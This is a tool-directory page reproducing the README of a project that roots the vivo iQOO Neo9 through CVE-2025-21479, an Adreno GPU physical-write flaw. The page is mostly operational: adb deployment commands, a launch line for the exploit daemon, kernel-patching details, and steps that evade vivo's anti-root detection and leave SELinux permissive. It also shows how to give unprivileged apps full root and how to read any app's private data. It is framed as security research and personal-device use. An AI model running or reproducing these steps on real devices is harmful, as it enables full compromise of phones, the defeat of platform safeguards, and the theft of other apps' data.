Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
vivo_iqoo_neo_9_root_research_on_CVE-2025-21479 — iQOO Neo9 (PD2338C) 免解锁 Caps-Root 工具** — 基于 CVE-2025-21479 (Adreno GPU SDS) 的任意物理写提权方案 | Kitploit
Tools/GitHubGitHub/reaizuguo/vivo_iqoo_neo_9_root_research_on_cve-2025-21479
Android SecurityPrivilege EscalationVulnerability AnalysisExploitationReverse EngineeringMobile SecurityBinary Exploitation
GitHubreaizuguo/vivo_iqoo_neo_9_root_research_on_cve-2025-21479

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

vivo_iqoo_neo_9_root_research_on_CVE-2025-21479

iQOO Neo9 (PD2338C) 免解锁 Caps-Root 工具** — 基于 CVE-2025-21479 (Adreno GPU SDS) 的任意物理写提权方案

View Repository
23223 days agoNot yet reviewed

Neo9Root

iQOO Neo9 (PD2338C) Unlock-Free Caps-Root Tool — Arbitrary physical-write privilege escalation based on CVE-2025-21479 (Adreno GPU SDS)

License: MIT Platform Kernel

No bootloader unlock, no flashing, no Magisk required. Achieves kernel-level arbitrary physical write through a GPU vulnerability; after patching key kernel functions, a resident root daemon running with full capabilities (41-bit caps) provides root capability to rootc / su.

Key design: euid stays at 2000 to bypass vivo's vr.ko anti-root detection (euid=0 triggers a device reboot), delivering root capability equivalent to uid=0 while keeping the process identity safe.


✨ Features

  • 🔓 No BL Unlock — never touches bootloader / partitions / dm-verity; fully RAM-resident, a reboot leaves no trace
  • 🧬 True kernel-level root — CapEff: 000001ffffffffff (full 41-bit capabilities), not an app-layer masquerade
  • 🛡️ Bypasses vivo anti-root — euid stays 2000, vr.ko detection is defeated, zero device crashes
  • ⚙️ Resident daemon — file queue + Base64 protocol, zero-dependency command execution, full output passthrough
  • 🔌 Compatibility layer — su wrapper, directly usable from MT Manager / Termux
  • 📦 Zero persistence — all patches live in RAM; a reboot automatically restores a clean state

📱 Supported Devices

⚠️ The exploit depends on this kernel's specific layout (symbol offsets, the VIVO_VMET_BREAK_KMI feature, vr.ko behavior); other devices/kernels require re-adaptation.

🚀 Quick Start

Requirements

  • Windows + adb (or adb on any platform; the scripts are PowerShell-based)
  • USB debugging enabled on the phone

One-Click Deployment (Recommended)

root@kitploit:~
# 克隆后运行 (adb 需在 PATH; 或用 $env:ADB 指定路径)
powershell -ExecutionPolicy Bypass -File scripts\run_rootc_loop.ps1

The script automatically: pushes the three binaries → reboots to grab a cold window → runs the exploit over multiple rounds (~50% hit rate per round) → daemon ready → verifies.

Manual Deployment

root@kitploit:~
# 1. 推送 (只需一次, /data 持久)
adb push exploit\exploit_vivo_neo9 /data/local/tmp/
adb push client\rootc /data/local/tmp/
adb push client\su /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/exploit_vivo_neo9 /data/local/tmp/rootc /data/local/tmp/su"

# 2. 重启获取冷窗口 (重启后 <3 分钟内运行命中率最高)
adb reboot
# ...等待开机完成...

# 3. 启动 exploit (后台 daemon)
adb shell "cd /data/local/tmp && nohup sh -c 'CHEESE_STEXT_PA=0xa8010000 CHEESE_DAEMON=1 CHEESE_PATCH_CAP=1 ./exploit_vivo_neo9 > /data/local/tmp/exploit_daemon.log 2>&1 &'"

# 4. 等待就绪 (命中通常 10s~3min)
adb shell "cat /data/local/tmp/rootd_ready.txt"
# 输出 "ready" 即成功

🛠️ Usage

rootc — Run Arbitrary Root Commands

root@kitploit:~
# 简单命令
adb shell "/data/local/tmp/rootc id"

# 复杂命令 (Base64 编码, 避免引号问题)
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('ls -la /data/adb; dmesg | tail -5'))
adb shell "/data/local/tmp/rootc B64:$b64"

su — MT Manager / Termux Compatibility

root@kitploit:~
su -c "ls /data/adb"          # 任意 root 命令
su -c "chown 0:0 /path/file"  # 文件属主改为 root:root
su                            # 交互模式 (stdin 逐行)

Termux setup: run these once (as root):

root@kitploit:~
# 开放队列目录写权限 + 安装 su 到 Termux PATH
su -c "chmod 1777 /data/local/tmp"
su -c "cp /data/local/tmp/su /data/data/com.termux/files/usr/bin/su && chmod 755 /data/data/com.termux/files/usr/bin/su"

MT Manager: Settings → ROOT → Custom su path → /data/local/tmp/su

u0 — True Root (euid=0) Operations

The rootc/su environment deliberately keeps euid=2000 (to evade vr.ko anti-root detection). However, the drivers behind a few kernel interfaces (such as /proc/vrp and some sysfs nodes) check current_euid()==0, which full caps alone cannot pass → in that case use u0 to borrow the rootd environment's CAP_SETUID and elevate to true root:

root@kitploit:~
# 推送 (只需一次)
adb push client\u0 /data/local/tmp/u0
adb shell "chmod 755 /data/local/tmp/u0"

# 用法: u0 <绝对路径程序> <参数...>   (execv 需要绝对路径!)
$cmd = '/data/local/tmp/u0 /system/bin/sh -c "id; cat /proc/vrp 2>&1"'
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($cmd))
adb shell "/data/local/tmp/rootc B64:$b64"
# 输出: uid=0(root) gid=0(root) ...   ← 真 root 会话
  • Verified safe: setuid(0) does not trigger the vr.ko fatal (the rootd main process itself runs long-term as uid=0; uid=0 processes are not on the kill list)
  • Confirmed limitations: /proc/vrp still returns EPERM under uid=0 + full caps (the vrp driver carries out an active permission check, not DAC/SELinux — reverse engineering in progress); insmod also triggers a device reboot under uid=0 (module-load detection does not look at the caller's uid)
  • Build instructions are in docs\u0_说明.md

Normal Users (apps / below-shell privilege) Accessing /data/local/tmp

/data/local/tmp is drwxrwxrwt (1777, shell-owned) by default — at the DAC layer, any user can read/write. What actually blocks normal users (the untrusted_app domain) is SELinux (the policy denies app domains access to the shell_data_file label):

root@kitploit:~
# 1. DAC: 确保目录 1777 + 队列文件可写 (rootc 创建时已是 0666)
su -c "chmod 1777 /data/local/tmp"

# 2. SELinux: exploit 部署后处于 permissive, 无需额外操作 (permissive 不执行策略)
#    ⚠️ 不要用 setenforce 0 —— vr.ko 的 avc_has_perm hook 会检测 setenforce 动作
#       (kprobe 虽已中和, hfm 文本 hook 仍可能触发 fatal), 改走 exploit 的
#       物理写 permissive (run_selinux_rmw, 已内置在部署流程)

# 3. 验证 (用 app 身份 / run-as 执行 rootc)
run-as com.termux /data/local/tmp/rootc id        # 或任意 app 执行
# 输出 [rc=0] 即普通用户可正常使用 root 能力
  • Apps can run rootc (1777 directory + 755 file) → normal users obtain full root capability
  • Limitation: permissive is lost after a reboot → normal-user access becomes restricted again (shell_data_file is only accessible to the shell domain); restored after redeploying
  • Read-only access: relay via su -c "cat /data/local/tmp/xxx > /sdcard/xxx" (apps can access /sdcard without restrictions)

Common Verification

root@kitploit:~
su -c id                                        # uid=2000 正常 (见 FAQ)
su -c "grep CapEff /proc/self/status"           # 000001ffffffffff = 全能力
su -c "ls /data/adb"                            # 700 root 目录, 普通 shell 被拒
su -c "chown 0:0 /data/local/tmp/x && ls -l /data/local/tmp/x"   # root 专属操作
su -c "head -5 /proc/iomem"                     # 内核物理内存布局
su -c "ls /data/data/<任意包名>"                 # 任意 app 私有数据

🔬 How It Works

root@kitploit:~
CVE-2025-21479 (Adreno SDS: CP_SET_DRAW_STATE 误判)
        │  特权执行 CP_SMMU_TABLE_UPDATE → SMMU TTBR0 指向伪造页表
        ▼
任意物理写 (fake TT0: L1/L2/L3 三级页表 + 6GB 匿名页 spray 命中)
        │
        ├──▶ patch cap_bprm_creds_from_file 入口 (mov w0,#0; ret)
        │        → exec 后保留 effective caps (普通命令也能带全 caps)
        ├──▶ patch kptr_restrict = 0
        │        → /proc/kallsyms 全地址可见
        └──▶ patch vhangup stub (MODE=10 提权)
                 → fsuid/fsgid=0 + 41 位 caps, euid 保持 2000
                 → fork 常驻 daemon (文件队列服务)
        │
        ▼
rootc / su  ──(文件队列 + B64)──▶  daemon ──▶ 任意 root 命令 (全 caps)

Why euid=2000? The vivo kernel ships a built-in vr.ko anti-root module: any process outside the vrp domain whose cred->euid==0 is detected triggers a fatal (device reboot). The MODE=10 privilege escalation deliberately does not change euid — it only writes fsuid/fsgid + caps. vr.ko cannot trigger, yet all kernel capable() checks pass (true root capability).

📂 Project Structure

root@kitploit:~
neo9_root/
├── README.md                 # 本文档
├── LICENSE                   # MIT
├── exploit/                  # 漏洞利用
│   ├── exploit_vivo.c        #   源码 (STUB_MODE=10 + daemon + cap_bprm patch)
│   ├── exploit_vivo_neo9     #   编译产物 (aarch64 musl 静态)
│   └── stubs/                #   提权 stub 汇编
├── client/                   # 客户端
│   ├── rootc.c / rootc       #   root 命令客户端 (文件队列 + B64)
│   ├── su                    #   su 兼容包装器 (MT/Termux)
│   ├── u0.c / u0             #   euid=0 提升工具 (真 root 操作, 见"u0"章节)
│   └── shim.c / shim.so      #   LD_PRELOAD kptr_restrict 重定向 (ksud insmod 链路)
├── scripts/                  # 部署脚本
│   ├── run_rootc_loop.ps1    #   推荐: 多轮自动部署
│   └── run_root_final.ps1    #   一键部署
├── tools/                    # 内核/模块逆向分析脚本 (vr.ko 等)
├── docs/                     # 调试记录
│   ├── DEBUG_RECORD.md       #   完整调试记录 (崩溃根因链)
│   └── EXPLOIT0_FIX.md       #   exploit0 修复记录
└── archive/                  # 失败方案参考 (setuid 方案等)

⚠️ Known Limitations & Notes

  • Lost on reboot: all patches are RAM-resident; redeploy after a reboot
  • Cold window: exploit success depends on running within <3 min after reboot; the first ~28 candidates in the in-process candidate loop form the GPU's normal window, after which the GPU may hang → retry with run_rootc_loop.ps1
  • adb disconnect ≠ crash: under heavy GPU load adbd may become unresponsive and drop adb; confirm with cat /proc/uptime (uptime keeps increasing and the screen is responsive = the device didn't crash)
  • id shows uid=2000: see the How It Works section; this is by design; capability is equivalent to root
  • mount / is constrained by fstab; /system is read-only (erofs + dm-verity), no persistent modification possible
  • /data/local/tmp permissions: Termux/normal-user scenarios need chmod 1777 (see the "Normal User Access" section); SELinux must stay permissive (already set during exploit deployment), do not use setenforce 0 (vr.ko detection)

❓ FAQ

Q: Is this real root? A: Yes. All kernel capable() checks pass (CapEff fully open, chown 0:0, reading /proc/iomem, reading arbitrary app data) — the kernel acknowledges your root capability; only the uid number is 2000.

Q: Can it brick the device? A: No. There are no partition writes and no persistent modifications; worst case the GPU hangs and a reboot restores the device.

Q: Does it support other devices? A: It needs to be re-adapted (the kernel layout, symbol offsets, and vr.ko behavior are all PD2338C-specific; if it's a vivo iQOO Neo9 running OriginOS 5, you can try).

📜 Disclaimer

This project is for security research and personal device use only. Any consequences arising from the use of this tool (including but not limited to device damage, data loss, or voided warranty) are the sole responsibility of the user. Please comply with local laws and regulations; do not use it for illegal purposes.

🙏 Acknowledgements

  • zhuowei/cheese — original GPU exploit framework
  • sarabpal-dev/cheese-cake — extended implementation
  • Type010 / CyberMeowfia and other public research — ideas/reference

📄 License

MIT

Download Tool
ItemValue
DeviceiQOO Neo9 (PD2338C)
OSAndroid 15
Kernel5.15.178-gaacdc35637c4-dirty (GKIv1)
GPUAdreno 740 (A7xx)
Memory layoutNo physical KASLR (stext_pa=0xa8010000), global VA slide